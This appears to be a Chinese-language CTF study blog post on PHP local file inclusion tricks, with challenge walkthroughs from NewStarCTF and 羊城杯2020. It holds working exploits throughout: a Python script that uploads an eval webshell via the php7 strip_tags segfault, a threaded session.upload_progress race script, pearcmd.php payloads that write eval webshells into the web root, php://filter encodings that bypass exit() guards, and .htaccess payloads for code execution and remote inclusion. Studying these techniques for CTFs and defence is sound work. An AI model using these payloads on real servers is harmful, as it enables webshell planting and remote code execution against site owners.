文件包含的skill

roko / 2024-08-07 / 原文

关于文件包含

🚩php7 segment fault特性

  • 原理:php代码中使用php://filter的strip_tags过滤器,可以让php执行的时候直接出现Segment Fault,这样php的垃圾回收机制就不会继续执行,导致POST的文件会保存在系统的缓存目录下不会被删除,不像phpinfo上传的文件很快就会被删除,这样抢矿下我们只需要知道知道他的文件名就能包含我们的恶意代码

  • 解析:使用php://filter/string.strip_tags导致清空堆栈重启,如果再同时上传一个文件,那么这个temp file就会一直停留在tmp目录,知道文件名就能getshell。(这个崩溃的原因就是存在溢出空指针引用。向php发送文件区块的数据包,让php异常退出,post的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹)

  • 利用条件:

    • 结合LFI可进行getshell
    • 可以获取文件名
  • payload:

    http://192.33.6.145/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd
    
  • exp

    import requests
    from io import BytesIO #BytesIO实现了在内存中读写bytes
    payload = "<?php eval($_POST[cmd]);?>"
    data={'file': BytesIO(payload.encode())}
    url="http://da24051d-c89f-4abe-84ed-907315344521.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
    r=requests.post(url=url,files=data,allow_redirects=False)
    
  • fuzz

    基于Go开发:gobuster     https://github.com/OJ/gobuster
    基于Java开发:dirbuster  OWASP杰出工具 kali自带
    基于Python开发:wfuzz    https://github.com/xmendez/wfuzz
    

🚩临时文件包含

  • PHP LFI本地文件包含漏洞主要是包含本地服务器上储存的一些文件,例如session文件、日志文件、临时文件等。当我们在服务器上找不到我们可以包含的文件,就可以通过一些技巧让服务器存储我们恶意生成的临时文件,该临时文件包含我们构造的恶意代码

  • php临时文件机制

    • 全局变量:在php可以使用POST和PUT方法进行文本和二进制的上传,上传的文件信息会被保存在全局变量$_FILE中

      /tmp/php+随机六个字符$_FILES['userfile']['name'] 客户端文件的原名称。
      $_FILES['userfile']['type'] 文件的 MIME 类型,如果浏览器提供该信息的支持,例如"image/gif"。
      $_FILES['userfile']['size'] 已上传文件的大小,单位为字节。
      $_FILES['userfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,默认是/tmp目录。
      $_FILES['userfile']['error'] 该文件上传的错误代码,上传成功其值为0,否则为错误信息。
      $_FILES['userfile']['tmp_name'] 文件被上传后在服务端存储的临时文件名
      😎在临时文件包含中$_FILES['userfile']['name']这个变量值很重要,因为临时文件的名字是随机生成的,只有知道正确的文件名才能进行文件包含😎
      
  • 临时文件存储的目录:文件被上传之后,默认会被存储到服务端的默认临时目录,该临时目录由php.ini的uoload_tmp_dir所指定,可以通过查看phpinfo来查看临时文件

    • linux命名规则:通常的格式是/tmp/php+随机六个字符
    • windows命名规则:\Windows\php+四个随机字符.tmp
  • phpinfo特性:如果网站存在phpinfo,那么就可以通过phpinfo来获取临时文件名

    • 利用:验证phpinfo的特性确实存在的话,当文件包含漏洞找不到可以利用的文件时,可以利用该特性来提取临时文件,然后getshell
    • 利用过程:
      • 发送包含webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置塞满垃圾数据
      • 因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面会撑的非常大
      • php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
      • 所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
      • 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没删除
      • 利用这个时差,第二个数据包,也就是文件包含的利用,既可以成功包含临时文件,最终getshell
    • poc:https://www.anquanke.com/post/id/201136

🚩session.upload_progress与文件包含

  • 简述:PHP中可以通过session progress功能实现临时文件的写入

  • 利用条件

    • 目录环境开启了session.uoload_progress.enable选项
    • 发送了一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
    • 请求的cookie中包含了session ID
  • 原理:php开启了session.upload_progress.enable后(在包括docker的大部分环境下默认开启),将会把用户上传文件的信息保存在session中,而php的session是默认开启的

  • poc

    import threading
    import requests
    from concurrent.futures import ThreadPoolExecutor, wait
    
    target = 'http://192.168.1.162:8080/index.php'
    session = requests.session()
    flag = 'helloworld'
    
    
    def upload(e: threading.Event):
        files = [
            ('file', ('load.png', b'a' * 40960, 'image/png')),
        ]
        data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{flag}'); ?>'''}
    
        while not e.is_set():
            requests.post(
                target,
                data=data,
                files=files,
                cookies={'PHPSESSID': flag},
            )
    
    
    def write(e: threading.Event):
        while not e.is_set():
            response = requests.get(
                f'{target}?file=/tmp/sess_{flag}',
            )
    
            if flag.encode() in response.content:
                e.set()
    
    
    if __name__ == '__main__':
        futures = []
        event = threading.Event()
        pool = ThreadPoolExecutor(15)
        for i in range(10):
            futures.append(pool.submit(upload, event))
    
        for i in range(5):
            futures.append(pool.submit(write, event))
    
        wait(futures)
    

🚩pearcmd.php的利用

  • pecl是php中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的,在7.4及以后,需要我们在编译php的时候指定--with-pear才会安装

  • 在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

  • 原本pear/pcel是一个命令行工具,并不在web目录下,即使存在一些安全隐患也无需担心。但当遇到是一个文件包含的场景,那么我们就可以包含到pear中的文件

  • 原理:pear默认安装路径为/usr/local/lib/php/pear.php,在命令行中可以使用pear和/usr/local/lib/php/pear.php运行,如果存在文件包含漏洞,则可以直接运行此命令,同时打开了register_argc_argv选项,那么用户传入的内容就可以传入到$argc、$argv、$_SERVER['argc']这几个变量里面

  • 利用条件:

    • 有pear扩展,这样才能有pearcmd.php
    • php开启了register_argc_argv选项
    • 知道pearcmd.php的路径(默认是/usr/local/lib/php/pearcmd.php)
    • 有包含点,能够包含php后缀的文件,而且没有open_basedir的限制
  • 利用方式:包含pearcmd.php才能执行pear程序

  • payload:

    /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/hello.php
    

[NewStarCTF 公开赛赛道]IncludeTwo

  • 源代码

     <?php
    error_reporting(0);
    highlight_file(__FILE__);
    //Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
    if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
        include($_GET['file'].".php");
    }else{
        die("Hacker!");
    } 
    
  • 这里过滤了filter/rot13/base64,但是在文件名之后添加了.php,而且题目提示了LFI本地文件包含,同时还有个php后缀限制,这里就可以尝试pearcmd文件包含

    /?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/var/www/html/a.php
    //file后面是pearcmd的默认路径,因为index.php后面会加php,所以我们直接添加/usr/local/lib/php/pearcmd就可以了,&后面就是第一个参数,第三个+后面是第二个参数
    

  • 查看根目录

  • 读取flag

[NewStarCTF 2023 公开赛道]Include 🍐

  • 源代码

     <?php
        error_reporting(0);
        if(isset($_GET['file'])) {
            $file = $_GET['file'];       
            if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
                die('hacker!');
            }       
            include($file.".php");
            # Something in phpinfo.php!
        }
        else {
            highlight_file(__FILE__);
        }
    ?> 
    
  • 跟上道题基本一样

🚩关于file_put_contents绕过<?php exit()

  • 前提条件:filename变量和content变量可控并且不同

    file_put_contents($filename,”<?php exit();”.$content);
    

    思路:filename控制的是写入的文件名,content变量拼接在<?php exit();后面,如果我们想要利用的话就要让<?php exit();失效。如果我们尝试使用php://filter协议,对content进行解码再写入协议,而且该协议支持多个过滤器规则,也就是说我们可以使用多个过滤器进行操作

  • 方法一:base64编码

  • 方法二:rot13编码

  • 方法三:组合编码,因为php://filter协议支持多个过滤器,所以我们可以使用多个过滤器组合绕过

    php://filter/write=string.strip_tags|convert.base64-decode/resource=flag.php
    
  • 前提条件:前后两个变量相等且可控

    file_put_contents($a,”<?php exit();”.$a);
    
  • 方法一:rot13编码

  • 方法二:iconv字符编码:通过UCS-2或者UCS-4的方式,对目标字符串进行2/4位一反转

    $a='php://filter//convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=flag.php';
    $a='php://filter//convert.iconv.UCS-4LE.UCS-4BE|xxx?<aa phpiphp(ofn>?;)/resource=flag.php';
    
  • 方法三:组合编码

    • UCS-2和rot13编码

      php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|string.rot13|x?<uc cucvcsa(b;)>?/resource=flag.php
      
    • 通过iconv将utf8编码转为utf7编码

      utf8:php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|AAPD9waHAgcGhwaW5mbygpOz8+/resource=flag.php
      utf7:php://filter/convert.iconv.utf-8.utf-7+AHw-convert.base64-decode+AHw-AAPD9waHAgcGhwaW5mbygpOz8+-/resource+AD0-flag.php
      
    • linux系统:strip_tags方法结合base64编码

      php://filter/write=string.strip_tags|convert.base64-decode/resource=flag.php
      

🚩.htaccess的利用

  • 简介:.htaccess是一个配置文件,用于运行apache的服务器上,该文件提供了针对目录改变配置的方法,即在一个特定的目录文档放置一个半酣一条或多条指令的文件,以作用于此目录及其所有子目录。作为用户,所使用的命令收到限制,管理员可以通过apache的alloverride指令来设置

  • htaccess 中有 # 单行注释符, 且支持 \拼接上下两行

  • .htaccess文件所在的目录及其所有子目录,若要启动.htaccess配置文件,我们需要在服务器的主配置文件将 AllowOverride 设置为 All

    AllowOverride All  #启动.htaccess文件的使用
    
  • 常见的使用方法

    • 自定义出错界面:我们可以使用.htaccess 创建自定义的出错页面

      ErrorDocument 401 /error/401.php
      ErrorDocument 403 /error/403.php
      ErrorDocument 404 /error/404.php
      ErrorDocument 500 /error/500.php
      
    • SetHandler和ForceType:强制所有匹配的文件被一个指定的处理器处理

      ForceType application/x-httpd-php
      SetHandler application/x-httpd-php
      
    • AddHandler:

      AddType application/x-httpd-php .htm,则.htm文件也可以执行php程序
      AddHandler cgi-script .yyy 则扩展名为.yyy的文件作为 CGI 脚本来处理
      
    • AddType:将给定的文件扩展名映射到指定的内容类型

      AddType application/x-httpd-php .xxx 同上AddHandler的作用
      
    • php_value:当使用 PHP 作为 Apache 模块时,也可以用 Apache 的配置文件(例如 httpd.conf)和 .htaccess 文件中的指令来修改 php 的配置设定。需要有AllowOverride Options 或AllowOverride All 权限才可以,php_value 设定指定的值。要清除先前设定的值,把 value 设为 none。不要用 php_value 设定布尔值。应该用 php_flag而.htaccess 只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的指令

      php_value auto_prepend_file 1.txt 在主文件解析之前自动解析包含1.txt的内容
      php_value auto_append_file 2.txt 在主文件解析后自动解析1.txt的内容
      
  • 技巧总结

    • 利用404页面

      <If "file('/flag') =~ '/flag{a/'">
      ErrorDocument 404 "y4tacker"
      </If>
      
    • 本地文件包含

      • 当前目录下php文件头引入/etc/passwd

        php_value auto_append_file /etc/passwd
        
      • 使作用范围内的php文件在文件头/尾自动include指定文件,支持php伪协议,.htaccess可以设置php_value include_path "xxx"将include()的默认路径改变

        php_value include_path "xxx"
        
    • 远程文件包含:PHP 的 all_url_include 配置选项这个选项默认是关闭的,如果开启的话就可以远程包含

      php_value auto_append_file http://xxxxx.xxxx.xxx/shell.txt
      
    • 伪协议:需要all_url_fopen、all_url_include为on

      php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
      或
      php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
      或
      php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.txt"
      
      
    • htaccess把自己当作php文件处理

      • 当前目录下有php文件(无过滤)

        php_value auto_append_file .htaccess
        #<?php phpinfo();
        
      • 有过滤

        php_value auto_prepend_fi\
        le .htaccess
        #<?php phpinfo();
        
      • 当前目录下无php文件(需要先设置允许可访问 .htaccess 文件)

        <Files .htaccess>
        //ForceType application/x-httpd-php
        SetHandler application/x-httpd-php
        Require all granted
        php_flag engine on
        </Files>
        php_value auto_prepend_fi\
        le .htaccess
        #<?php phpinfo();
        
        <FilesMatch .htaccess>
        //ForceType application/x-httpd-php
        SetHandler application/x-httpd-php
        Require all granted
        php_flag engine on
        </FilesMatch>
        php_value auto_prepend_fi\
        le .htaccess
        #<?php phpinfo();
        

        将.htaccess指定当作php文件处理

        SetHandler application/x-httpd-php
        # <?php phpinfo(); ?>
        
    • 文件解析配合一句话木马

      <FilesMatch  "y4tacker">
      SetHandler  application/x-httpd-php
      //或ForceType application/x-httpd-php
      </FilesMatch>
      //或者 AddType application/x-httpd-php .txt
      //或者 AddHandler php7-script .txt
      
    • cgi执行(如果开启了cgi扩展,也可以来解析shell脚本)

      • apache2.conf

        LoadModule cgi_module modules/mod_cgi.so
        
      • 在.htaccess中

        Options +ExecCGI #允许CGI执行
        AddHandler cgi-script .sh
        
      • 再利用

        #!/bin/bash
        echo "Content-Type: text/plain"
        echo ""
        ls /
        exit 0
        
    • FastCgi执行

      • mod_fcgid.so需要被加载。即 apache2.conf中

        LoadModule fcgid_module modules/mod_fcgid.so
        
      • 在.htaccess中

        Options +ExecCGI
        AddHandler fcgid-script .kk
        FcgidWrapper "/bin/ls /" .kk
        
      • 再写一个y4.kk 内容随意,就会执行上面的内容

[羊城杯2020]easyphp

知识点.htaccess绕过

  • 源代码

     <?php
        $files = scandir('./'); 
        foreach($files as $file) {
            if(is_file($file)){
                if ($file !== "index.php") {
                    unlink($file);
                }
            }
        }
    //访问当前页面的时候,会将非index.php的文件删除
        if(!isset($_GET['content']) || !isset($_GET['filename'])) {
            highlight_file(__FILE__);
            die();
        }
        $content = $_GET['content'];
        if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
            echo "Hacker";
            die();
        }
        $filename = $_GET['filename'];
        if(preg_match("/[^a-z\.]/", $filename) == 1) {
            echo "Hacker";
            die();
        }
        $files = scandir('./'); 
        foreach($files as $file) {
            if(is_file($file)){
                if ($file !== "index.php") {
                    unlink($file);
                }
            }
        }
        file_put_contents($filename, $content . "\nHello, world");
    ?> //利用该函数写入一句话木马
    
  • payload(向.htaccess文件写入shell,并且用auto_prepend_file包含.htaccess)

    ?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls")?>\&filename=.htaccess